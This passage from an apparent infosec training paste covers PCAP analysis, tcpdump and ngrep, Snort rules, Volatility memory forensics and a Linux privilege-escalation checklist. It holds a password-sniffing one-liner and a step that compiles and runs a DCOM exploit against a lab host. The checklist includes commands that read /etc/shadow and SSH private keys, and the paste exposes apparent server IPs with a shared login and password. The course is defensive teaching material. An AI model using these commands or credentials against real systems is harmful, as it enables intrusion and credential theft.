  1135. wget https://s3.amazonaws.com/infosecaddictsfiles/avsubmit.py
  1136. wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip
  1137.  
  1138. unzip malware-password-is-infected.zip
  1139. infected
  1140.  
  1141. python avsubmit.py --init
  1142.  
  1143. python avsubmit.py -f malware.exe -e
  1144. -----------------------------------------------------------------------
  1145.  
  1146.  
  1147.  
  1148.  
  1149. Creating a malware database (mysql)
  1150. -----------------------------------
  1151. - Step 1: Installing MySQL database
  1152. - Run the following command in the terminal:
  1153. ---------------------------Type This-----------------------------------
  1154. sudo apt-get install mysql-server
  1155.  
  1156.  
  1157. - Step 2: Installing Python MySQLdb module
  1158. - Run the following command in the terminal:
  1159. ---------------------------Type This-----------------------------------
  1160. sudo apt-get build-dep python-mysqldb
  1161.  
  1162.  
  1163. sudo apt-get install python-mysqldb
  1164.  
  1165. -----------------------------------------------------------------------
  1166.  
  1167. Step 3: Logging in
  1168. Run the following command in the terminal:
  1169. ---------------------------Type This-----------------------------------
  1170. mysql -u root -p (set a password of 'malware')
  1171.  
  1172. - Then create one database by running following command:
  1173. ---------------------------Type This-----------------------------------
  1174. create database malware;
  1175.  
  1176. exit;
  1177.  
  1178. wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
  1179.  
  1180. vi mal_to_db.py (fill in database connection information)
  1181.  
  1182. python mal_to_db.py -i
  1183. -----------------------------------------------------------------------
  1184.  
  1185. ------- check it to see if the files table was created ------
  1186.  
  1187. mysql -u root -p
  1188. malware
  1189.  
  1190. show databases;
  1191.  
  1192. use malware;
  1193.  
  1194. show tables;
  1195.  
  1196. describe files;
  1197.  
  1198. exit;
  1199.  
  1200. ---------------------------------
  1201.  
  1202.  
  1203. - Now add the malicious file to the DB
  1204. ---------------------------Type This-----------------------------------
  1205. python mal_to_db.py -f malware.exe -u
  1206. -----------------------------------------------------------------------
  1207.  
  1208.  
  1209. - Now check to see if it is in the DB
  1210. ---------------------------Type This-----------------------------------
  1211. mysql -u root -p
  1212. malware
  1213.  
  1214. mysql> use malware;
  1215.  
  1216. select id,md5,sha1,sha256,time FROM files;
  1217.  
  1218. mysql> quit;
  1219. ------------------------------------------------------------------------
  1220.  
  1221.  
  1222.  
  1223.  
  1224. #################
  1225. # PCAP Analysis #
  1226. #################
  1227. ---------------------------Type This-----------------------------------
  1228. cd ~/Desktop/
  1229.  
  1230. mkdir suspiciouspcap/
  1231.  
  1232. cd suspiciouspcap/
  1233.  
  1234. wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
  1235.  
  1236. wget https://s3.amazonaws.com/infosecaddictsfiles/chaosreader.pl
  1237.  
  1238.  
  1239. perl chaosreader.pl suspicious-time.pcap
  1240.  
  1241. firefox index.html
  1242.  
  1243. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
  1244.  
  1245. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
  1246.  
  1247.  
  1248. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
  1249. ------------------------------------------------------------------------
  1250.  
  1251.  
  1252.  
  1253. ####################
  1254. # Intro to TCPDump #
  1255. ####################
  1256. ---------------------------Type This-----------------------------------
  1257. sudo apt-get install tcpdump
  1258.  
  1259.  
  1260.  
  1261. Basic sniffing
  1262. --------------
  1263. ---------------------------Type This-----------------------------------
  1264. sudo tcpdump -n
  1265.  
  1266.  
  1267. Now lets increase the display resolution of this packet, or get more details about it. The verbose switch comes in handy
  1268. ---------------------------Type This-----------------------------------
  1269. sudo tcpdump -v -n
  1270.  
  1271.  
  1272.  
  1273. Getting the ethernet header (link layer headers)
  1274. ------------------------------------------------
  1275. In the above examples details of the ethernet header are not printed. Use the -e option to print the ethernet header details as well.
  1276. ---------------------------Type This-----------------------------------
  1277. sudo tcpdump -vv -n -e
  1278. ------------------------------------------------------------------------
  1279.  
  1280. Sniffing a particular interface
  1281. -------------------------------
  1282. In order to sniff a particular network interface we must specify it with the -i switch. First lets get the list of available interfaces using the -D switch.
  1283. ---------------------------Type This-----------------------------------
  1284. sudo tcpdump -D
  1285. ------------------------------------------------------------------------
  1286.  
  1287. Filtering packets using expressions - Selecting protocols
  1288. ---------------------------------------------------------
  1289. ---------------------------Type This-----------------------------------
  1290. $ sudo tcpdump -n tcp
  1291. ------------------------------------------------------------------------
  1292.  
  1293. Particular host or port
  1294. -----------------------
  1295. Expressions can be used to specify source ip, destination ip, and port numbers. The next example picks up all those packets with source address 192.168.1.101
  1296. ---------------------------Type This-----------------------------------
  1297. $ sudo tcpdump -n 'src 192.168.1.101'
  1298. ------------------------------------------------------------------------
  1299.  
  1300. Next example picks up dns request packets, either those packets which originate from local machine and go to port 53 of some other machine.
  1301. ---------------------------Type This-----------------------------------
  1302. $ sudo tcpdump -n 'udp and dst port 53'
  1303. ------------------------------------------------------------------------
  1304.  
  1305. To display the FTP packets coming from 192.168.1.100 to 192.168.1.2
  1306. ---------------------------Type This-----------------------------------
  1307. $ sudo tcpdump 'src 192.168.1.100 and dst 192.168.1.2 and port ftp'
  1308. ------------------------------------------------------------------------
  1309.  
  1310. Search the network traffic using grep
  1311.  
  1312. Grep can be used along with tcpdump to search the network traffic. Here is a very simple example
  1313. ---------------------------Type This-----------------------------------
  1314. $ sudo tcpdump -n -A | grep -e 'POST'
  1315. ------------------------------------------------------------------------
  1316.  
  1317. So what is the idea behind searching packets. Well one good thing can be to sniff passwords.
  1318. Here is quick example to sniff passwords using egrep
  1319.  
  1320. ---------------------------Type This-----------------------------------
  1321. tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
  1322. ------------------------------------------------------------------------
  1323.  
  1324.  
  1325.  
  1326. #########
  1327. # NGrep #
  1328. #########
  1329.  
  1330. Install ngrep on Ubuntu
  1331. ---------------------------Type This-----------------------------------
  1332. $ sudo apt-get install ngrep
  1333. ------------------------------------------------------------------------
  1334.  
  1335. Search network traffic for string "User-Agent: "
  1336. ---------------------------Type This-----------------------------------
  1337. $ sudo ngrep -d eth0 "User-Agent: " tcp and port 80
  1338. ------------------------------------------------------------------------
  1339. In the above command :
  1340. a) tcp and port 80 - is the bpf filter (Berkeley Packet Filter) , that sniffs only TCP packet with port number 80
  1341. b) The d option specifies the interface to sniff. eth0 in this case.
  1342. c) "User-Agent: " is the string to search for. All packets that have that string are displayed.
  1343.  
  1344. 2. Search network packets for GET or POST requests :
  1345. ---------------------------Type This-----------------------------------
  1346. $ sudo ngrep -l -q -d eth0 "^GET |^POST " tcp and port 80
  1347. ------------------------------------------------------------------------
  1348. The l option makes the output buffered and the q option is for quiet ( Be quiet; don't output any information other than packet headers and their payloads (if relevant) ).
  1349.  
  1350. 3. ngrep without any options would simply capture all packets.
  1351. ---------------------------Type This-----------------------------------
  1352. $ sudo ngrep
  1353. ------------------------------------------------------------------------
  1354.  
  1355. Reference:
  1356. https://dl.packetstormsecurity.net/papers/general/ngreptut.txt
  1357. ---------------------------Type This-----------------------------------
  1358. $ sudo ngrep -d eth0 -n 3
  1359.  
  1360. $ sudo ngrep -d any port 25
  1361. ------------------------------------------------------------------------
  1362.  
  1363. This will let you monitor all activity crossing source or destination port 25
  1364. (SMTP).
  1365. ---------------------------Type This-----------------------------------
  1366. $ sudo ngrep -wi -d wlan0 'user|pass' port 6667
  1367.  
  1368. $ sudo ngrep -wi -d any 'user|pass' port 21
  1369. ------------------------------------------------------------------------
  1370.  
  1371.  
  1372.  
  1373.  
  1374.  
  1375. #############################
  1376. # PCAP Analysis with tshark #
  1377. #############################
  1378. ---------------------------Type This-----------------------------------
  1379. sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs
  1380.  
  1381.  
  1382. tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
  1383.  
  1384.  
  1385. tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
  1386.  
  1387.  
  1388. tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'
  1389.  
  1390.  
  1391. tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort | uniq
  1392.  
  1393.  
  1394. tshark -r suspicious-time.pcap -Y "browser.command==1" -Tfields -e "ip.src" -e "browser.server" | uniq
  1395.  
  1396. tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort |uniq
  1397.  
  1398. tshark -r suspicious-time.pcap -qz ip_hosts,tree
  1399.  
  1400. tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
  1401.  
  1402. tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
  1403.  
  1404.  
  1405. whois rapidshare.com.eyu32.ru
  1406.  
  1407. whois sploitme.com.cn
  1408.  
  1409.  
  1410. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
  1411.  
  1412. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
  1413.  
  1414. tshark -r suspicious-time.pcap -qz http_req,tree
  1415.  
  1416. tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
  1417.  
  1418. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
  1419.  
  1420.  
  1421.  
  1422. ######################################
  1423. # PCAP Analysis with forensicPCAP.py #
  1424. ######################################
  1425. ---------------------------Type This-----------------------------------
  1426. cd ~/Desktop/suspiciouspcap/
  1427.  
  1428. wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
  1429.  
  1430. sudo pip install cmd2==0.7.9
  1431.  
  1432.  
  1433. python forensicPCAP.py suspicious-time.pcap
  1434. ------------------------------------------------------------------------
  1435.  
  1436.  
  1437. ---------------------------Type This-----------------------------------
  1438. ForPCAP >>> help
  1439. ------------------------------------------------------------------------
  1440.  
  1441. Prints stats about PCAP
  1442. ---------------------------Type This-----------------------------------
  1443. ForPCAP >>> stat
  1444. ------------------------------------------------------------------------
  1445.  
  1446. Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
  1447. ---------------------------Type This-----------------------------------
  1448. ForPCAP >>> dns
  1449.  
  1450. ForPCAP >>> show
  1451. ------------------------------------------------------------------------
  1452.  
  1453. Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
  1454. ---------------------------Type This-----------------------------------
  1455. ForPCAP >>> dstports
  1456.  
  1457. ForPCAP >>> show
  1458. ---------------------------Type This-----------------------------------
  1459.  
  1460. Prints the number of ip source and store them.
  1461. ---------------------------Type This-----------------------------------
  1462. ForPCAP >>> ipsrc
  1463.  
  1464. ForPCAP >>> show
  1465. ------------------------------------------------------------------------
  1466.  
  1467. Prints the number of web's requests and store them
  1468. ForPCAP >>> web
  1469.  
  1470. ForPCAP >>> show
  1471. ------------------------------------------------------------------------
  1472.  
  1473.  
  1474. Prints the number of mail's requests and store them
  1475. ---------------------------Type This-----------------------------------
  1476. ForPCAP >>> mail
  1477.  
  1478. ForPCAP >>> show
  1479. ------------------------------------------------------------------------
  1480.  
  1481.  
  1482.  
  1483.  
  1484.  
  1485. #############################
  1486. # Understanding Snort rules #
  1487. #############################
  1488. Field 1: Action - Snort can process events in 1 of 3 ways (alert, log, drop)
  1489.  
  1490. Field 2: Protocol - Snort understands a few types of traffic (tcp, udp, icmp)
  1491.  
  1492. Field 3: Source IP (can be a variable like $External_Net, or an IP, or a range)
  1493.  
  1494. Field 4: Source Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
  1495.  
  1496. Field 5: Traffic Direction (->)
  1497.  
  1498. Field 6: Destination IP (can be a variable like $External_Net, or an IP, or a range)
  1499.  
  1500. Field 7: Destination Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
  1501.  
  1502. Field 8: MSG - what is actually displayed on the analysts machine
  1503.  
  1504.  
  1505. Let's look at 2 simple rules
  1506. ----------------------------------------------------------------------------------
  1507. alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:”NETBIOS DCERPC ISystemActivator \
  1508. bind attempt”; flow:to_server,established; content:”|05|”; distance:0; within:1; \
  1509. content:”|0b|”; distance:1; within:1; byte_test:1,&,1,0,relative; content:”|A0 01 00 \
  1510. 00 00 00 00 00 C0 00 00 00 00 00 00 46|”; distance:29; within:16; \
  1511. reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)
  1512.  
  1513. alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:”NETBIOS SMB DCERPC ISystemActivator bind \
  1514. attempt”; flow:to_server,established; content:”|FF|SMB|25|”; nocase; offset:4; \
  1515. depth:5; content:”|26 00|”; distance:56; within:2; content:”|5c \
  1516. 00|P|00|I|00|P|00|E|00 5c 00|”; nocase; distance:5; within:12; content:”|05|”; \
  1517. distance:0; within:1; content:”|0b|”; distance:1; within:1; \
  1518. byte_test:1,&,1,0,relative; content:”|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 \
  1519. 46|”; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; \
  1520. sid:2193; rev:1;)
  1521. ----------------------------------------------------------------------------------
  1522.  
  1523.  
  1524.  
  1525. From your Linux machine ping your Windows machine
  1526. ---------------------------Type This-----------------------------------
  1527. ping 192.168.11.1
  1528. -----------------------------------------------------------------------
  1529.  
  1530.  
  1531. Start wireshark and let's create some simple filters:
  1532.  
  1533. Filter 1:
  1534. ---------------------------Type This-----------------------------------
  1535. ip.addr==192.168.11.1
  1536. -----------------------------------------------------------------------
  1537.  
  1538. Filter 2:
  1539. ---------------------------Type This-----------------------------------
  1540. ip.addr==192.168.11.1 && icmp
  1541. -----------------------------------------------------------------------
  1542.  
  1543.  
  1544. Filter 3:
  1545. ---------------------------Type This-----------------------------------
  1546. ip.addr==192.168.11.1 && !(tcp.port==22)
  1547. -----------------------------------------------------------------------
  1548. Now stop your capture and restart it (make sure you keep the filter)
  1549.  
  1550.  
  1551.  
  1552.  
  1553. Back to your Linux machine:
  1554. [ CTRL-C ] - to stop your ping
  1555. ---------------------------Type This-----------------------------------
  1556. wget http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c
  1557.  
  1558.  
  1559. gcc -o exploit oc192-dcom.c
  1560.  
  1561. ./exploit
  1562.  
  1563.  
  1564. ./exploit -d 192.168.11.1 -t 0
  1565. -----------------------------------------------------------------------
  1566.  
  1567.  
  1568.  
  1569. Now go back to WireShark and stop the capture.
  1570.  
  1571.  
  1572.  
  1573.  
  1574. ###################
  1575. # Memory Analysis #
  1576. ###################
  1577. ---------------------------Type This-----------------------------------
  1578. cd ~/Desktop/
  1579.  
  1580. sudo apt-get install -y foremost tcpxtract
  1581.  
  1582. wget https://s3.amazonaws.com/infosecaddictsfiles/hn_forensics.vmem
  1583.  
  1584. git clone https://github.com/volatilityfoundation/volatility.git
  1585.  
  1586. cd volatility
  1587. sudo pip install distorm3
  1588. sudo python setup.py install
  1589. python vol.py -h
  1590. python vol.py pslist -f ~/Desktop/hn_forensics.vmem
  1591. python vol.py connscan -f ~/Desktop/hn_forensics.vmem
  1592. mkdir dump/
  1593. mkdir -p output/pdf/
  1594. python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 888 -D dump/
  1595. python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 1752 -D dump/
  1596. ***Takes a few min***
  1597. strings 1752.dmp | grep "^http://" | sort | uniq
  1598. strings 1752.dmp | grep "Ahttps://" | uniq -u
  1599. cd ..
  1600. foremost -i ~/Desktop/volatility/dump/1752.dmp -t pdf -o output/pdf/
  1601. cd ~/Desktop/volatility/output/pdf/
  1602. cat audit.txt
  1603. cd pdf
  1604. ls
  1605. grep -i javascript *.pdf
  1606.  
  1607.  
  1608.  
  1609. cd ~/Desktop/volatility/output/pdf/
  1610. wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
  1611. unzip pdf-parser_V0_6_4.zip
  1612. python pdf-parser.py -s javascript --raw pdf/00601560.pdf
  1613. python pdf-parser.py --object 11 00600328.pdf
  1614. python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js
  1615.  
  1616. cat malicious.js
  1617. -----------------------------------------------------------------------
  1618.  
  1619.  
  1620.  
  1621.  
  1622. *****Sorry - no time to cover javascript de-obfuscation today*****
  1623.  
  1624.  
  1625.  
  1626.  
  1627. ---------------------------Type This-----------------------------------
  1628. cd ~/Desktop/volatility
  1629. mkdir files2/
  1630. python vol.py -f ~/Desktop/hn_forensics.vmem dumpfiles -D files2/
  1631. python vol.py hivescan -f ~/Desktop/hn_forensics.vmem
  1632. python vol.py printkey -o 0xe1526748 -f ~/Desktop/hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
  1633. -----------------------------------------------------------------------
  1634.  
  1635.  
  1636. ######################
  1637. ----------- ############### # Intro to Reversing # ############### -----------
  1638. ######################
  1639. Lab walk-through documents are in the zip file along with the executables that need to be reversed:
  1640. https://s3.amazonaws.com/infosecaddictsfiles/Lena151.zip
  1641.  
  1642.  
  1643.  
  1644.  
  1645.  
  1646. ##############################
  1647. # Linux For InfoSec Homework #
  1648. ##############################
  1649. In order to receive your certificate of attendance you must complete the all of the quizzes on the http://linuxsurvival.com/linux-tutorial-introduction/ website.
  1650.  
  1651.  
  1652. Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Homework.docx)
  1653.  
  1654.  
  1655.  
  1656.  
  1657. ##############################
  1658. # Linux For InfoSe Challenge #
  1659. ##############################
  1660.  
  1661. In order to receive your certificate of proficiency you must complete all of the tasks covered in the Linux For InfoSec pastebin (http://pastebin.com/eduSfPy3).
  1662.  
  1663. Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Challenge.docx)
  1664.  
  1665.  
  1666.  
  1667.  
  1668. IMPORTANT NOTE:
  1669. Your homework/challenge must be submitted via email to both (joe-at-strategicsec-.-com and ivana-at-strategicsec-.-com) by midnight EST.
  1670.  
  1671.  
  1672. #########################################################################
  1673. # What kind of Linux am I on and how can I find out? #
  1674. # Great reference: #
  1675. # https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ #
  1676. #########################################################################
  1677. - What’s the distribution type? What version?
  1678. -------------------------------------------
  1679. cat /etc/issue
  1680. cat /etc/*-release
  1681. cat /etc/lsb-release # Debian based
  1682. cat /etc/redhat-release # Redhat based
  1683.  
  1684.  
  1685.  
  1686. - What’s the kernel version? Is it 64-bit?
  1687. -------------------------------------------
  1688. cat /proc/version
  1689. uname -a
  1690. uname -mrs
  1691. rpm -q kernel
  1692. dmesg | grep Linux
  1693. ls /boot | grep vmlinuz-
  1694.  
  1695.  
  1696.  
  1697. - What can be learnt from the environmental variables?
  1698. ----------------------------------------------------
  1699. cat /etc/profile
  1700. cat /etc/bashrc
  1701. cat ~/.bash_profile
  1702. cat ~/.bashrc
  1703. cat ~/.bash_logout
  1704. env
  1705. set
  1706.  
  1707.  
  1708. - What services are running? Which service has which user privilege?
  1709. ------------------------------------------------------------------
  1710. ps aux
  1711. ps -ef
  1712. top
  1713. cat /etc/services
  1714.  
  1715.  
  1716. - Which service(s) are been running by root? Of these services, which are vulnerable - it’s worth a double check!
  1717. ---------------------------------------------------------------------------------------------------------------
  1718. ps aux | grep root
  1719. ps -ef | grep root
  1720.  
  1721.  
  1722.  
  1723. - What applications are installed? What version are they? Are they currently running?
  1724. ------------------------------------------------------------------------------------
  1725. ls -alh /usr/bin/
  1726. ls -alh /sbin/
  1727. dpkg -l
  1728. rpm -qa
  1729. ls -alh /var/cache/apt/archivesO
  1730. ls -alh /var/cache/yum/
  1731.  
  1732.  
  1733. - Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
  1734. ------------------------------------------------------------------------------------
  1735. cat /etc/syslog.conf
  1736. cat /etc/chttp.conf
  1737. cat /etc/lighttpd.conf
  1738. cat /etc/cups/cupsd.conf
  1739. cat /etc/inetd.conf
  1740. cat /etc/apache2/apache2.conf
  1741. cat /etc/my.conf
  1742. cat /etc/httpd/conf/httpd.conf
  1743. cat /opt/lampp/etc/httpd.conf
  1744. ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
  1745.  
  1746.  
  1747.  
  1748. - What jobs are scheduled?
  1749. ------------------------
  1750. crontab -l
  1751. ls -alh /var/spool/cron
  1752. ls -al /etc/ | grep cron
  1753. ls -al /etc/cron*
  1754. cat /etc/cron*
  1755. cat /etc/at.allow
  1756. cat /etc/at.deny
  1757. cat /etc/cron.allow
  1758. cat /etc/cron.deny
  1759. cat /etc/crontab
  1760. cat /etc/anacrontab
  1761. cat /var/spool/cron/crontabs/root
  1762.  
  1763.  
  1764. - Any plain text usernames and/or passwords?
  1765. ------------------------------------------
  1766. grep -i user [filename]
  1767. grep -i pass [filename]
  1768. grep -C 5 "password" [filename]
  1769. find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Search for Joomla passwords
  1770.  
  1771.  
  1772. - What NIC(s) does the system have? Is it connected to another network?
  1773. ---------------------------------------------------------------------
  1774. /sbin/ifconfig -a
  1775. cat /etc/network/interfaces
  1776. cat /etc/sysconfig/network
  1777.  
  1778.  
  1779. - What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
  1780. ------------------------------------------------------------------------------------------------------------------------
  1781. cat /etc/resolv.conf
  1782. cat /etc/sysconfig/network
  1783. cat /etc/networks
  1784. iptables -L
  1785. hostname
  1786. dnsdomainname
  1787.  
  1788. - What other users & hosts are communicating with the system?
  1789. -----------------------------------------------------------
  1790. lsof -i
  1791. lsof -i :80
  1792. grep 80 /etc/services
  1793. netstat -antup
  1794. netstat -antpx
  1795. netstat -tulpn
  1796. chkconfig --list
  1797. chkconfig --list | grep 3:on
  1798. last
  1799. w
  1800.  
  1801.  
  1802.  
  1803. - Whats cached? IP and/or MAC addresses
  1804. -------------------------------------
  1805. arp -e
  1806. route
  1807. /sbin/route -nee
  1808.  
  1809.  
  1810. - Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
  1811. ------------------------------------------------------------------------------------------
  1812. id
  1813. who
  1814. w
  1815. last
  1816. cat /etc/passwd | cut -d: -f1 # List of users
  1817. grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
  1818. awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
  1819. cat /etc/sudoers
  1820. sudo -l
  1821.  
  1822.  
  1823.  
  1824. - What sensitive files can be found?
  1825. ----------------------------------
  1826. cat /etc/passwd
  1827. cat /etc/group
  1828. cat /etc/shadow
  1829. ls -alh /var/mail/
  1830.  
  1831.  
  1832.  
  1833. - Anything “interesting” in the home directorie(s)? If it’s possible to access
  1834. ----------------------------------------------------------------------------
  1835. ls -ahlR /root/
  1836. ls -ahlR /home/
  1837.  
  1838.  
  1839. - Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
  1840. ---------------------------------------------------------------------------------------------------------------------------
  1841. cat /var/apache2/config.inc
  1842. cat /var/lib/mysql/mysql/user.MYD
  1843. cat /root/anaconda-ks.cfg
  1844.  
  1845.  
  1846. - What has the user being doing? Is there any password in plain text? What have they been edting?
  1847. -----------------------------------------------------------------------------------------------
  1848. cat ~/.bash_history
  1849. cat ~/.nano_history
  1850. cat ~/.atftp_history
  1851. cat ~/.mysql_history
  1852. cat ~/.php_history
  1853.  
  1854.  
  1855.  
  1856. - What user information can be found?
  1857. -----------------------------------
  1858. cat ~/.bashrc
  1859. cat ~/.profile
  1860. cat /var/mail/root
  1861. cat /var/spool/mail/root
  1862.  
  1863.  
  1864. - Can private-key information be found?
  1865. -------------------------------------
  1866. cat ~/.ssh/authorized_keys
  1867. cat ~/.ssh/identity.pub
  1868. cat ~/.ssh/identity
  1869. cat ~/.ssh/id_rsa.pub
  1870. cat ~/.ssh/id_rsa
  1871. cat ~/.ssh/id_dsa.pub
  1872. cat ~/.ssh/id_dsa
  1873. cat /etc/ssh/ssh_config
  1874. cat /etc/ssh/sshd_config
  1875. cat /etc/ssh/ssh_host_dsa_key.pub
  1876. cat /etc/ssh/ssh_host_dsa_key
  1877. cat /etc/ssh/ssh_host_rsa_key.pub
  1878. cat /etc/ssh/ssh_host_rsa_key
  1879. cat /etc/ssh/ssh_host_key.pub
  1880. cat /etc/ssh/ssh_host_key
  1881.  
  1882.  
  1883. - Any settings/files (hidden) on website? Any settings file with database information?
  1884. ------------------------------------------------------------------------------------
  1885. ls -alhR /var/www/
  1886. ls -alhR /srv/www/htdocs/
  1887. ls -alhR /usr/local/www/apache22/data/
  1888. ls -alhR /opt/lampp/htdocs/
  1889. ls -alhR /var/www/html/
  1890.  
  1891.  
  1892. - Is there anything in the log file(s) (Could help with “Local File Includes”!)
  1893. -----------------------------------------------------------------------------
  1894. cat /etc/httpd/logs/access_log
  1895. cat /etc/httpd/logs/access.log
  1896. cat /etc/httpd/logs/error_log
  1897. cat /etc/httpd/logs/error.log
  1898. cat /var/log/apache2/access_log
  1899. cat /var/log/apache2/access.log
  1900. cat /var/log/apache2/error_log
  1901. cat /var/log/apache2/error.log
  1902. cat /var/log/apache/access_log
  1903. cat /var/log/apache/access.log
  1904. cat /var/log/auth.log
  1905. cat /var/log/chttp.log
  1906. cat /var/log/cups/error_log
  1907. cat /var/log/dpkg.log
  1908. cat /var/log/faillog
  1909. cat /var/log/httpd/access_log
  1910. cat /var/log/httpd/access.log
  1911. cat /var/log/httpd/error_log
  1912. cat /var/log/httpd/error.log
  1913. cat /var/log/lastlog
  1914. cat /var/log/lighttpd/access.log
  1915. cat /var/log/lighttpd/error.log
  1916. cat /var/log/lighttpd/lighttpd.access.log
  1917. cat /var/log/lighttpd/lighttpd.error.log
  1918. cat /var/log/messages
  1919. cat /var/log/secure
  1920. cat /var/log/syslog
  1921. cat /var/log/wtmp
  1922. cat /var/log/xferlog
  1923. cat /var/log/yum.log
  1924. cat /var/run/utmp
  1925. cat /var/webmin/miniserv.log
  1926. cat /var/www/logs/access_log
  1927. cat /var/www/logs/access.log
  1928. ls -alh /var/lib/dhcp3/
  1929. ls -alh /var/log/postgresql/
  1930. ls -alh /var/log/proftpd/
  1931. ls -alh /var/log/samba/
  1932.  
  1933. - Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
  1934.  
  1935.  
  1936.  
  1937.  
  1938.  
  1939. ########################################################################################################################################
  1940.  
  1941.  
  1942.  
  1943.  
  1944.  
  1945. ####################################
  1946. # Day 2: Building a Perfect Server #
  1947. ####################################
  1948. -------------------------------------------
  1949. Task 1: Log in to your respective Linux server
  1950. PMRF1 (Hugo/Ross)
  1951. 45.76.61.100
  1952. pmrf aegisashore
  1953.  
  1954. PMRF2 (steve/jeff)
  1955. 155.138.213.248
  1956. pmrf aegisashore
  1957.  
  1958.  
  1959. PMRF3 (elaine)
  1960. 155.138.198.202
  1961. pmrf aegisashore
  1962.  
  1963.  
  1964.  
  1965. Task 2: Build the Perfect Server
  1966. https://www.howtoforge.com/tutorial/perfect-server-centos-7-apache-mysql-php-pureftpd-postfix-dovecot-and-ispconfig/
  1967.  
  1968. Important notes:
  1969. Steps to skip
  1970. skip all of step 1
  1971. skip all of step 2
  1972. skip all of step 3
  1973. skip all of step 5
  1974.  
  1975. Important notes:
  1976. step 11 amavisd may not work. If it doesn't work just keep moving forward
  1977. ---------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement